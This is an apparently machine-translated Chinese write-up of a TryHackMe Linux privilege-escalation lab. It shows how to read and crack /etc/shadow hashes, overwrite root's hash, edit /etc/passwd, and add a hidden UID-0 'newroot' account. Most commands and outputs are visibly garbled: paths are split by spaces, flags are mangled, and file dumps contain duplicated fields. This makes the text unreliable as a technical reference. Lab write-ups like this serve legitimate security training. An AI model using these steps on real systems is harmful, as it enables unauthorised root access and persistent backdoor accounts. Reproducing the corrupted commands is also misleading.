这次,我们将尝试“使用Linux中脆弱的文件权限提升特权”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文在第2部分中。
如果您想使用TryHackMe查看Linux Privesc的写入,请还检查使用MySQL用户定义功能(UDF)的“特权进化





部署脆弱的Debian VM
首先,尝试使用TryHackMe启动目标计算机,然后将其检查到可以通过SSH连接的点。
启动目标机器
选择“开始机器”以开始。

如果显示“ IP地址”,则目标计算机已完成启动。

使用SSH登录到您的用户帐户
通过SSH连接到目标机器。
请注意,对于Kali,可能需要“ -ohostkeyalgorithms =+ssh-rsa”。
#ssh user@10.10.77.90 -ohostkeyalgorithms =+ssh -rsa主机'10 .10.77.90(10.10.77.90)的真实性无法建立。 RSA密钥指纹是SHA256:JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK。您确定要继续连接(是/否/[指纹]),该键不知道其他名称吗?是警告:永久添加'10 .10.77.90'(RSA)到已知主机列表中。 user@10.10.77.90's密码:拒绝许可,请重试。 user@10.10.77.90's密码:Linux Debian 2.6.32-5-AMD64#1 SMP TUE 5月13日16:34:35 UTC 2014 x86_64 exhian GNU/Linux系统包含的程序免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.125
文件权限弱
准备就绪后,尝试使用脆弱的文件权限将特权升级为根。
这次,包括两个文件。两者都需要您操纵您的帐户信息(密码哈希值)。
- /etc/shadow
- /etc/passwd
可读 /etc /shadow(可读 /etc /shadow)
“/etc/shadow”包含用户的密码作为哈希值。
通常,只能读取root,但是如果文件权限中存在漏洞并且可读性,则可以获取密码。
首先,让我们看一下“/etc/shadow”的访问权限。
您可以看到任何人都可以阅读。
用户@debian:〜$ ls -l /etc /shadow -rw-r--rw- 1根阴影837 837 2019年8月25日 /etc /shadow
我们将检查阴影的内容。
第一个是用户名,第二个是密码的哈希值。这次我将破解并获取密码。
- [用户名]:[password_hash]:…
用户@debian:〜$ cat/etc/shadow root:$ 6 $ tb/euwmk $ oxa.dwmeoacopwbl68botg5zi65wihsc84owaiyee5vitlltvlaxvrdjxet..it守护程序:*:17298:0:99999:7 ::: bin:*:*:17298:0:99999:7 :::::::*:*:*:17298:0:99999:7 :::::: GAMES:*:*:*:*:17298:17298:0:99999:7 :::::::: LP:*:17298:0:99999:7 ::::*:*:17298:0:0:99999:7 ::::: uucp:*:*:17298:0:99999:7 :::::: proxy:*:*: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid:!:17298:0:99999:7 ::: debian-exim:!:17298:0:99999:7 ::::::: SSHD:*:*:17298:0:99999:99999:7 :::::::::: ::::::::::用户:$ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGJWYPT2O1ZRR2XXTROV7WRIKF8。 Statd:*:17299:0:99999:7 ::: mysql:!:!:18133:0:99999:7 :::::::::
从以上获取root密码,请在hash.txt中保存root密码的哈希值。
从这里开始,我们将在卡利侧(攻击机)上工作。
# mkdir tryhackme # cd tryhackme # vi hash.txt # cat hash.txt $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
完成此操作后,使用开膛手约翰(John the Ripper)提到了前面提到的hash.txt。
当您检查结果时,您会看到密码为“ password123”。
#john -wordlist =/usr/share/wordlists/rockyou.txt hash.txt创建目录:/root/.john使用默认输入编码:utf-8加载1个密码哈希(sha512crypt,crypt,crypt,crypt,crypt,crypt(3) threads Press 'q' or Ctrl-C to abort, almost any other key for status password123 (?) 1g 0:00:00:00 DONE (2023-03-06 14:36) 1.428g/s 2194p/s 2194c/s 2194C/s cuties..mexico1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
一旦知道密码,您所要做的就是使用“ su root”获得根特权。
用户@debian:〜$ su root密码:root@debian:/home/user#
我能够成功地升级我的特权!
我想我可以使用以前的问题回答您的Tryhackme问题。

writable /etc /shadow(可写的 /etc /shadow)
如果“/etc/shadow”是可写的,则可以通过重写密码的哈希值来升级特权以扎根。
那就是我的想法。
首先,检查“/etc/shadow”的权限。看来您已经写了许可。
$ LS -L /ETC /Shadow -RW-R-RW- 1根阴影837 837 2019年8月25日 /etc /Shadow
现在,我们使用MKPasswd创建密码的哈希。
对于[newpassword],请设置要用作root的密码。
$ mkpasswd -m sha-512 newpassword $6$.EP9GjdsI0v$LhlXNvvmPG06kvymtPUfPO9QUOgG/jVI9yO//iZayW4XUqmbKX4XZXYM5AgGGTo8.xC1x0dbsSCUkKhf.D0281
生成哈希后,使用您刚刚生成的哈希重写“/etc/shadow”中的root密码的哈希。
$ cat/etc/shadow root:$ 6 $。守护程序:*:17298:0:99999:7 ::: bin:*:*:17298:0:99999:7 :::::::*:*:*:17298:0:99999:7 :::::: GAMES:*:*:*:*:17298:17298:0:99999:7 :::::::: LP:*:17298:0:99999:7 ::::*:*:17298:0:0:99999:7 ::::: uucp:*:*:17298:0:99999:7 :::::: proxy:*:*: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid:!:17298:0:99999:7 ::: debian-exim:!:17298:0:99999:7 ::::::: SSHD:*:*:17298:0:99999:99999:7 :::::::::: ::::::::::用户:$ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGJWYPT2O1ZRR2XXTROV7WRIKF8。 Statd:*:17299:0:99999:7 ::: mysql:!:!:18133:0:99999:7 :::::::::
我认为我现在能够将自己的特权升级为根。
用户@debian:〜$ su root密码:root@debian:/home/user#
writable /etc /passwd(可写的 /etc /passwd)
“/etc/passWD”包含有关您的用户帐户的信息。
任何人都可以阅读它,但是根本没有其他人可以写它。
一些Linux可能允许用户包括密码哈希。
如果允许根以外的特权书写,则可以利用将特权升级为根的漏洞。
首先,让我们看一下权威。显然您已经书面许可。
似乎您可以攻击。
用户@debian:〜$ ls -l /etc /etc /passwd -rw-r--rw- 1 root root 1009 Aug 25 2019 /etc /passwd
可以肯定的是,我将检查PassWD的当前状态。根设置为“ x”。
产生哈希后,用哈希替换。
user@debian:〜$ cat/etc/passwd root:x:0:0:root:/root:/bin/bash守护程序:x:1:1:1:1:/usr/sbin:/usr/sbin:/bin/sh bin/sh bin:x:2:2:2:/bin:/bin:/bin:/bin:/bin/sh sys:x sys:x:3:3:3:/sys:3:/ sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh新闻:X:9:9:新闻:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/ucp:/bin/sh/sh proxy:x:13:13:13:proxy:/bin/bin/bin/bin/bin/sh www-data:x:33:33:33:33:33:33:33:www-www-data:/ww:/ backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh没有人:x:65534:65534:nody:/nonexistent:/bin/sh libuuid:x:x:100:101 ::/var/var/lib/lib/lib/libuuid:/bin/she debian/sh debian-exexim:x:101:103:103:103:103:103:103:103:103:103:103:/ sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash statd:x:103:65534::/var/lib/nfs:/bin/false mysql:x:104:106:MySQL服务器,,:/var/lib/mysql:/bin/false
哈希与以下命令生成:
这次,我们将使用“ newpassword2”作为新密码。
用户@debian:〜$ openssl passwd newpassword2警告:将密码截断为8个字符6B3UD4HKGOXVE
生成哈希后,将哈希值替换为以前“ x”的位置。
user@debian:〜$ vi/etc/passwd用户@debian:〜$ cat/etc/passwd root:6b3ud4hkgoxve:0:0:root:/root:/root:/bin/bash守护程序:x:1:1:1:/usr/usr/sbin/sbin:/ sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnat:x:41:41:gnats bug-Reporting System(admin):/var/lib/gnats:/bin/sh没有人:x:65534:65534:noone:/none bin/bin/sh libuuid:x:x:100:100:101 :: ::/var/var/lib/lib/lib/lib/lib/lib/sh/sh/sh debian-exim:x:101:103 ::/var/spool/exim4:/bin/false sshd:x:102:65534 ::/var/run/run/sshd:/usr/usr/sbin/nologin用户:x:x:1000:1000:1000:1000:1000:1000:1000:user ,,:/home/home/home/bin/bin/bash statd:x:103:65534 :::/var/lib/nfs:/bin/false mysql:x:104:106:mysql server ,, ,,:/var/lib/mysql:/bin/false
一旦走了这么远,请尝试登录扎根。
我认为我能够成功地升级自己的特权。
用户@debian:〜$ su root密码:newpassword2
如果这样继续下去,它将无法正常工作,所以我会创建一个newroot。
将根设置复制到全部,然后将其添加到新线路中,然后将根部放回“ X”。
root@debian:/home/user# vi /etc/passwd root@debian:/home/user# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnat:x:41:41:gnats bug-Reporting System(admin):/var/lib/gnats:/bin/sh没有人:x:65534:65534:noone:/none bin/bin/sh libuuid:x:x:100:100:101 :: ::/var/var/lib/lib/lib/lib/lib/lib/sh/sh/sh debian-exim:x:101:103 ::/var/spool/exim4:/bin/false sshd:x:102:65534 ::/var/run/run/sshd:/usr/usr/sbin/nologin用户:x:x:1000:1000:1000:1000:1000:1000:1000:user ,,:/home/home/home/bin/bin/bash statd:x:103:65534 ::/var/lib/nfs:/bin/false mysql:x:104:106:mysql server ,,,:/var/lib/mysql:/bin/bin/false newroot:6b3ud4hkgoxve:6b3ud4hkgoxve:0:0:0:0:/bin/bin/exian:/bin fore:/bin fore:/bin root:/
在这种状态下,登录到Newroot。
我认为您可以将特权升级为使用新密码。
即使您检查ID,您也会是根。
用户@debian:〜$ su newroot密码:newpassword2 root@debian:/home/home/user#id uid = 0(root)gid = 0(root)= 0(root)
注销并尝试登录扎根。
我认为您可以使用“ NewPassword”登录。您能够建立一种新的登录方法,同时仍保留原始密码。
root@debian:/home/user#退出exit用户@debian:〜$ su root密码:newpassword root@debian:/home/user#
对于您的Tryhackme问题,请粘贴上面的ID命令的结果。

概括
这次,我尝试了“使用Linux中脆弱的文件权限的特权提升”。
基本上,默认情况下,它不应具有脆弱的文件权限,但我再次意识到我们需要小心不要引起这种情况。
参考和站点
- : -